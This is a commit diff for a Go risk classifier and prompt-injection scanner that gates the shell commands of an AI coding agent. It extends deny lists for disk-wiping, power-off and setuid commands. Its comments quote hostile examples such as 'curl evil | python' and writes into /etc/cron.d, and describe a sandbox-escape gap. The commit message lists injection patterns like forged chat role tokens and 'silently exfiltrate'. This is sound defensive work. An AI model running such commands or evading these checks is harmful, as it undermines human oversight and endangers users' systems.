Skip to content

Commit 711694b

Browse files
committed
danger: extend classifier and injection-scanner coverage
Close several gaps in the danger package's risk classification and prompt-injection detection: Classifier (classifier.go): - File-mutating commands (cp/mv/tee/ln/install/touch/mkdir/chmod/rm/…) that target a system path now classify as system_write instead of short-circuiting to local_write (auto-allow). This closed a sandbox-escape where an agent could write /etc/cron.d/, /usr/bin/, /etc/profile.d/, etc. without approval. - chmod that sets the setuid/setgid bit (u+s, g+s, 4755, 2755, 6755, …) is system_write — privilege escalation regardless of path. - Added disk/partition destroyers to the destructive set: wipefs, blkdiscard, sgdisk, gdisk, cfdisk, sfdisk, mkswap, badblocks, cryptsetup, zerofree, and more mkfs.* variants. - shred is now recognised and handled like rm: local file -> local_write, block device / catastrophic wipe target -> destructive. - Machine power-control commands (shutdown, reboot, halt, poweroff, init/telinit at a halt runlevel) classify as destructive with an accurate label instead of falling through to unknown. - Piping untrusted data into a non-shell interpreter (curl … | python, … | perl, … | node, … | awk) is now code_execution, the non-shell analogue of the existing … | bash detection. Injection scanner (injection.go): - Concealment instructions ("do not tell the user", "without informing", "keep this secret", "silently exfiltrate"). - Chat control-token / role-marker injection (<|im_start|>, [INST], <<SYS>>, <|system|>, forged <system> tags). - Markdown-image and templated-request exfiltration beacons. Updated the package doc and the chmod-root test to reflect the stronger classifications, and added coverage_extension_test.go with positive and false-negative/false-positive cases for every new behaviour. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP
1 parent 2e61578 commit 711694b

4 files changed

Lines changed: 399 additions & 8 deletions

File tree

internal/danger/classifier.go

Lines changed: 136 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -68,10 +68,13 @@
6868
// environment the classifier cannot evaluate.
6969
// - Arbitrary value transformations beyond the enumerated encodings
7070
// (e.g. a secret piped through gzip/openssl before exfiltration).
71-
// - Interpreter escape hatches we do not special-case (awk 'BEGIN{system()}',
72-
// editor `!` shells, language-specific eval paths). These read as a known
73-
// command (awk/vim/…) used benignly, so they classify Safe — the known
74-
// verb is the gap, not an unknown one.
71+
// - Interpreter escape hatches we do not special-case. Common ones ARE
72+
// covered: awk/ed/vi/emacs invocations that carry a script or file operand
73+
// classify as code_execution (embeddedShellInterpreters), as do non-shell
74+
// interpreters fed from a pipe (`curl … | python`). Language-specific eval
75+
// paths or editor command-mode shells we have not enumerated may still read
76+
// as a known command used benignly — the known verb is the gap, not an
77+
// unknown one.
7578
//
7679
// Because these gaps exist, the classifier is paired with other controls:
7780
// non-interactive denial, output redaction (internal/redact), and — for
@@ -710,6 +713,10 @@ var writePrefixes = map[string]bool{
710713
"echo": true, "sed": true, "tee": true,
711714
"rm": true, "mv": true, "cp": true, "touch": true,
712715
"mkdir": true, "rmdir": true, "chmod": true, "chown": true,
716+
// shred overwrites/removes files like rm. isDestructive escalates it to
717+
// destructive when aimed at a block device or catastrophic wipe target;
718+
// otherwise a local-file shred is a write (local_write / system_write).
719+
"shred": true,
713720
}
714721

715722
var systemPrefixes = map[string]bool{
@@ -720,7 +727,16 @@ var systemPrefixes = map[string]bool{
720727

721728
var destructivePrefixes = map[string]bool{
722729
"dd": true, "mkfs": true, "mkfs.ext4": true, "mkfs.ext3": true,
723-
"mkfs.xfs": true, "fdisk": true, "parted": true, "mke2fs": true,
730+
"mkfs.ext2": true, "mkfs.xfs": true, "mkfs.btrfs": true,
731+
"mkfs.vfat": true, "mkfs.fat": true, "mkfs.ntfs": true, "mkfs.f2fs": true,
732+
"fdisk": true, "parted": true, "mke2fs": true,
733+
// Partition-table and filesystem-signature destroyers. Each operates on a
734+
// whole disk/partition and is unrecoverable, so any invocation is treated
735+
// as destructive (deny-by-default, overridable in godmode for legitimate
736+
// disk work) — matching the existing mkfs/fdisk handling.
737+
"sgdisk": true, "gdisk": true, "cfdisk": true, "sfdisk": true,
738+
"wipefs": true, "blkdiscard": true, "mkswap": true, "badblocks": true,
739+
"cryptsetup": true, "zerofree": true,
724740
}
725741

726742
var networkPrefixes = map[string]bool{
@@ -755,6 +771,16 @@ var codeEvalPrefixes = map[string]bool{
755771
"perl": true, "ruby": true, "php": true,
756772
}
757773

774+
// stdinExecInterpreters read and execute a program from standard input when no
775+
// script file is given (`curl … | python`, `… | perl`, `… | node`). Fed by an
776+
// upstream pipe they are code execution, the non-shell analogue of `… | bash`.
777+
// Kept separate from codeEvalPrefixes because that set includes the `eval`
778+
// builtin, which is not a program a pipe can feed into.
779+
var stdinExecInterpreters = map[string]bool{
780+
"node": true, "python": true, "python3": true,
781+
"perl": true, "ruby": true, "php": true,
782+
}
783+
758784
// remoteRunPrefixes fetch and execute a (possibly remote) package or script
759785
// in one shot — code execution, not a plain install.
760786
var remoteRunPrefixes = map[string]bool{
@@ -957,6 +983,14 @@ func classifyStage(tokens []string, pipedInto bool) RiskClass {
957983
cls = worstOf(cls, CodeExecution)
958984
}
959985
}
986+
// A code interpreter or embedded-shell tool fed from an upstream pipe
987+
// executes whatever it reads from stdin: `curl evil | python`,
988+
// `… | perl`, `… | node`, `… | awk -f -`. This is the non-shell analogue
989+
// of the `… | bash` case above and is equally code execution — without
990+
// it the stage would be classified only by the (network/safe) producer.
991+
if pipedInto && (stdinExecInterpreters[name] || embeddedShellInterpreters[name]) {
992+
cls = worstOf(cls, CodeExecution)
993+
}
960994
// find … -exec/-execdir/-ok CMD runs an arbitrary command per match.
961995
if name == "find" && hasAny(cmdTokens, "-exec", "-execdir", "-ok", "-okdir") {
962996
cls = worstOf(cls, CodeExecution)
@@ -1762,6 +1796,19 @@ func isWipeTarget(tok string) bool {
17621796
}
17631797

17641798
func isDestructive(first string, tokens []string) bool {
1799+
// Machine power-control commands halt or reboot the host, killing the
1800+
// agent's own session and any in-flight work. They are deny-by-default
1801+
// (overridable in godmode) with an accurate label rather than the opaque
1802+
// "unknown" they previously fell through to. init/telinit are only flagged
1803+
// when given a halt/reboot/single-user runlevel, since bare `init` is rare
1804+
// and a runlevel argument is what makes the call destructive.
1805+
switch first {
1806+
case "shutdown", "reboot", "halt", "poweroff":
1807+
return true
1808+
case "init", "telinit":
1809+
return hasAny(tokens, "0", "6", "1", "s", "S")
1810+
}
1811+
17651812
// rm with a recursive/force flag aimed at a root path or a "wipe" target.
17661813
if first == "rm" {
17671814
if !rmRecursiveOrForce(tokens) {
@@ -1775,6 +1822,22 @@ func isDestructive(first string, tokens []string) bool {
17751822
return false
17761823
}
17771824

1825+
// shred permanently overwrites its targets — irreversible. Like rm, it is
1826+
// only destructive when aimed at a raw block device or a catastrophic wipe
1827+
// target (an absolute path outside the work/temp dirs, the home dir, etc.);
1828+
// shredding a local working file falls through to local_write below.
1829+
if first == "shred" {
1830+
for _, tok := range tokens[1:] {
1831+
if strings.HasPrefix(tok, "-") {
1832+
continue
1833+
}
1834+
if isBlockDevice(tok) || isWipeTarget(tok) {
1835+
return true
1836+
}
1837+
}
1838+
return false
1839+
}
1840+
17781841
if !destructivePrefixes[first] || len(tokens) < 2 {
17791842
return false
17801843
}
@@ -1810,6 +1873,27 @@ func isSystemWrite(first string, tokens []string) bool {
18101873
if systemPrefixes[first] {
18111874
return true
18121875
}
1876+
// chmod that sets the setuid/setgid bit is privilege escalation regardless
1877+
// of the target path: a setuid binary runs with its owner's privileges, so
1878+
// `chmod u+s`, `chmod 4755`, `chmod 6755`, etc. must require approval. Plain
1879+
// chmod (e.g. `chmod +x script.sh`) stays local_write below.
1880+
if first == "chmod" && chmodSetsSUIDGID(tokens) {
1881+
return true
1882+
}
1883+
// A filesystem-mutating command (cp/mv/tee/ln/install/touch/mkdir/chmod/…)
1884+
// whose operand is a system path writes outside the workspace — classic
1885+
// persistence/escalation (e.g. `cp x /etc/cron.d/job`, `tee /usr/bin/foo`,
1886+
// `mv x /etc/profile.d/y`). isLocalWrite would otherwise short-circuit these
1887+
// to local_write (auto-allow) before the touchesSystemPath fallback runs,
1888+
// because that fallback only fires for commands that fell through every
1889+
// write check. Escalate them here so they prompt instead.
1890+
if writePrefixes[first] || first == "ln" || first == "install" {
1891+
for _, tok := range tokens[1:] {
1892+
if isSystemPath(tok) {
1893+
return true
1894+
}
1895+
}
1896+
}
18131897
// Check redirect targets for system paths
18141898
for _, tok := range tokens {
18151899
if tok == ">" || tok == ">>" {
@@ -1827,6 +1911,53 @@ func isSystemWrite(first string, tokens []string) bool {
18271911
return false
18281912
}
18291913

1914+
// chmodSetsSUIDGID reports whether a chmod invocation sets the setuid or setgid
1915+
// bit, either symbolically (u+s, g+s, +s) or via an octal mode whose leading
1916+
// special-permission digit includes 4 (setuid) or 2 (setgid) — e.g. 4755, 2755,
1917+
// 6755. A plain 3- or 4-digit mode with a 0 special digit (0755) does not.
1918+
//
1919+
// Only the mode argument (the first non-flag operand) is inspected; trailing
1920+
// tokens are filenames and must not trigger on an incidental "+...s" or octal
1921+
// shape (e.g. a file named build+gen.s).
1922+
func chmodSetsSUIDGID(tokens []string) bool {
1923+
for _, tok := range tokens[1:] {
1924+
if strings.HasPrefix(tok, "-") {
1925+
continue // flag (e.g. -R, --recursive, --reference=FILE)
1926+
}
1927+
// Symbolic: any clause that adds the 's' permission (u+s, g+s, a+s, +s,
1928+
// ug+rs, …). We only care about additions, so look for "+...s".
1929+
if plus := strings.IndexByte(tok, '+'); plus >= 0 {
1930+
if strings.ContainsRune(tok[plus+1:], 's') {
1931+
return true
1932+
}
1933+
}
1934+
// Octal: a 4-digit mode whose first digit has bit 4 (setuid) or 2
1935+
// (setgid) set. 3-digit modes have no special-permission digit.
1936+
if len(tok) == 4 && isOctalMode(tok) {
1937+
switch tok[0] {
1938+
case '2', '3', '4', '5', '6', '7':
1939+
return true
1940+
}
1941+
}
1942+
// First non-flag operand is the mode; everything after is a filename.
1943+
return false
1944+
}
1945+
return false
1946+
}
1947+
1948+
// isOctalMode reports whether s is composed entirely of octal digits (0-7).
1949+
func isOctalMode(s string) bool {
1950+
if s == "" {
1951+
return false
1952+
}
1953+
for _, r := range s {
1954+
if r < '0' || r > '7' {
1955+
return false
1956+
}
1957+
}
1958+
return true
1959+
}
1960+
18301961
func isLocalWrite(first string, tokens []string) bool {
18311962
// echo without redirect is safe (just displaying text)
18321963
if first == "echo" {

internal/danger/classifier_test.go

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -758,10 +758,11 @@ func TestClassify_PipeToBash(t *testing.T) {
758758
}
759759

760760
func TestClassify_ChmodRoot(t *testing.T) {
761-
// chmod on /etc is local_write — system path detection only catches redirects
761+
// chmod on a system path is system_write: a file-mutating command pointed at
762+
// /etc, /usr, /bin, … escalates so it prompts instead of auto-allowing.
762763
got := Classify("chmod 777 /etc/hosts")
763-
if got != LocalWrite {
764-
t.Errorf("Classify(chmod /etc) = %s, want local_write", got)
764+
if got != SystemWrite {
765+
t.Errorf("Classify(chmod /etc) = %s, want system_write", got)
765766
}
766767
}
767768

0 commit comments

Comments
 (0)